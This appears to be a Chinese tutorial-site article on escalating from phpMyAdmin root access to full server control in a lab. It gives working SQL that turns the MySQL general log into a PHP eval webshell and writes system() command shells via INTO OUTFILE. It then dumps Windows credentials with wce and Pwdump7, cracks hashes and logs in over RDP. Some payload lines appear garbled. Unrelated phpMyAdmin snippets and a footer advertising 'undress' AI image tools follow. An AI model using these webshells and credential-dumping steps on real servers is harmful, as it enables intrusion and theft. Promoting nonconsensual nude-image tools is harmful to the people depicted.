下面由phpmyadmin教程栏目给大家介绍关于phpMyadmin提权那些事,希望对需要的朋友有所帮助!
引言:在渗透测试过程中获知到phpMyadmin的账号密码,如何进行提权呢?往下看,我今天和你说说phpMyadmin提权那些事。
0×00 定义
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。
0×01 环境准备
目标: Windows Server 2003 Enterprise x64 Edition 192.168.17.137攻击机: window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4
0×02 开始渗透
我们经过弱口令,爆破,目录泄露等途径已经获知PhpMyadmin的账号密码是root root。接下来我们就通过phpMyadmin来提权,尽可能贴近真实,多讲思路。
a 收集有用信息
如上图所示,我们可以获取到以下有用信息。
- 1.操作系统是windows server 2003 x86
- 2.服务器是Apache 2.4.32
- 3.网站默认路径是 E:\phpStudy\PHPTutorial\WWW
- 4.PHP版本是 5.45
- 5.mysql版本是 5.5.53
b 检测插入条件
在上面我们已经获知了网站默认的路径是E:\phpstudy\PHPTutorial\WWW,这个时候我们肯定想插入一句话后门文件或者是导出shell。那如果我们需要使用以上两种思路中的一种必须满足一个前提条件“secure_file_priv”对应的值不能为空且必须为默认网站的路径,所以我们必须提前检测一下“secure_file_priv”的值。
phpMyadmin执行以下命令:
SHOW VARIABLES LIKE “secure_file_priv”;
结果如图所示:
从上图得知值为空,如果我们这时导入一句话,肯定会失败的,不信啊,那我们试试。
报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,这是因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行)。我们思考一下看看能否设置其的路径为我们的默认网站路径,这样我们就可以导入一句话后门了。那我们试试吧。
从图得知这个变量是一个只读变量无法动态更改,那应该是只能从配置文件中更改了。到这里发现陷入了一个胡同,那常规方式不行,我们可以去使用一些骚思路,利用log日志文件插入一句话。
c 转换思路
我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。
- general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
- general log file 指的是日志的保存路径。
从图得知general_log默认是关闭的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。
首先我们来理解一下开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一个log文件中,其实就是我们常说的日志文件。好,我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。
具体命令是:
set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';
紧接着我们可以看到在网站根路径下找到我们生成的伪日记文件infos.php。
然后我们就得插入我们的一句话后门了。
select ‘’;
我们可以尝试使用菜刀连接,成功连接。
d 获取管理员密码
0×00 直接获取明文
我们上传wce.exe获取明文密码。运气贼好,直接获取到明文(11位字母和数字混合的密码)。如果不能直接获取明文那就得走第二条获取hash值然后解密了。
0×01 获取hash值
上传Pwdump7.exe获取hash值保存到password.txt文件中。获取hash值可以选择在线http://www.objectif-securite.ch/en/ophcrack.php跑,跑不出来就用Ophcrack导入彩虹表跑吧。
e 查看3389是否开启
直接在菜刀终端输入“netstat -an | find “3389″ 或者“netstat -an ”。
发现3389没开,但是3390就开了,我们尝试连接一下。
f 登陆服务器
运行mstsc开启远程桌面。
输入上面获取到的账号和密码,成功登陆。
最后肯定是要清楚痕迹的,但我这里就不写了,写的内容也是贼多了
0×03 扩展
上面演示了secure_file_priv值为空的情况,那么如果secure_file_priv不为空那我们该怎么办?
a 配置my.ini文件(不对应网站根路径)
打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/MYSQL/”
尝试改变值,发现只是可读,不能写,那种情况无法写入我们的一句话,因为其限制了导出路径,无法把一句话写入之后导出到我们的网站根目录。
b 配置my.ini文件(对应网站根路径)
打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/WWW/”
然后我们尝试插入一句话后门,成功插入。
二话不说菜刀连接。
当然一句话还可以这样插入。
CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)
c 导出具有命令权限的Shell的php文件
select ‘\’;system($_POST[\'yumu\']);echo \’\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;
0×04 总结
本文中的环境是除了没上waf其他都是尽可能地贴近真实环境,模拟真实的环境给大家去分析和讲解思路,希望大家有所收获。
以上是关于phpMyadmin提权那些事的详细内容。更多信息请关注PHP中文网其他相关文章!

phpMyAdmin是一款基于Web的MySQL数据库管理工具。1.它支持基本的CRUD操作和高级功能,如数据库设计和性能优化。2.通过Web服务器运行,接受用户输入并转换为MySQL命令。3.基本用法包括创建数据库,高级用法支持查询优化。4.常见错误如权限不足可以通过检查用户权限解决。5.性能优化包括索引优化、查询优化和数据库设计。

MySQL和phpMyAdmin的角色分别是存储和管理数据、提供用户友好的数据库管理界面。MySQL通过SQL进行数据操作,phpMyAdmin通过HTTP请求与MySQL交互,转换用户操作为SQL命令。

通过 phpMyAdmin 连接数据库的方法:访问 phpMyAdmin 网站,使用凭据登录。选择要连接的数据库。在“操作”选项卡下选择“导出”选项。配置导出设置,选择格式、表和数据范围。保存导出的文件。在目标数据库中选择“导入”选项卡并浏览导出的文件。点击“执行”按钮,然后使用“查询”选项卡验证导入是否成功。

通过以下步骤连接 phpMyAdmin 至 Oracle 数据库:1. 安装 Oracle 驱动程序;2. 创建数据库连接,包括主机、用户名、密码、端口和类型;3. 保存设置以建立连接;4. 从 phpMyAdmin 中选择连接的 Oracle 数据库即可管理和使用它。

要使用 phpMyAdmin 创建数据表,以下步骤必不可少:连接到数据库并单击“新建”标签。为表命名并选择存储引擎(推荐 InnoDB)。通过单击“添加列”按钮添加列详细信息,包括列名、数据类型、是否允许空值以及其他属性。选择一个或多个列作为主键。单击“保存”按钮创建表和列。

如何使用 phpMyAdmin 连接到 MySQL?访问 phpMyAdmin 的 URL,通常为 http://localhost/phpmyadmin 或 http://[您的服务器 IP 地址]/phpmyadmin。输入您的 MySQL 用户名和密码。选择您要连接的数据库。点击 "连接" 按钮以建立连接。

phpMyAdmin 中设置自动增长 ID 的步骤:打开 phpMyAdmin 并连接到数据库。选择要创建自动增长 ID 的表。在“结构”选项卡中,勾选“主键”部分的“自动增长”复选框。在“从”和“到”字段中输入自动增长 ID 的起始值和结束值。单击“保存”按钮。设置自动增长 ID 的优势包括:简化数据插入。确保唯一性。优化性能。易于识别。需要注意的事项:确保自动增长 ID 范围足够大。重复值可能无法

可以通过以下步骤打开 phpMyAdmin:1. 登录网站控制面板;2. 找到并点击 phpMyAdmin 图标;3. 输入 MySQL 凭据;4. 点击 "登录"。


热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

Atom编辑器mac版下载
最流行的的开源编辑器

螳螂BT
Mantis是一个易于部署的基于Web的缺陷跟踪工具,用于帮助产品缺陷跟踪。它需要PHP、MySQL和一个Web服务器。请查看我们的演示和托管服务。

ZendStudio 13.5.1 Mac
功能强大的PHP集成开发环境

EditPlus 中文破解版
体积小,语法高亮,不支持代码提示功能

SecLists
SecLists是最终安全测试人员的伙伴。它是一个包含各种类型列表的集合,这些列表在安全评估过程中经常使用,都在一个地方。SecLists通过方便地提供安全测试人员可能需要的所有列表,帮助提高安全测试的效率和生产力。列表类型包括用户名、密码、URL、模糊测试有效载荷、敏感数据模式、Web shell等等。测试人员只需将此存储库拉到新的测试机上,他就可以访问到所需的每种类型的列表。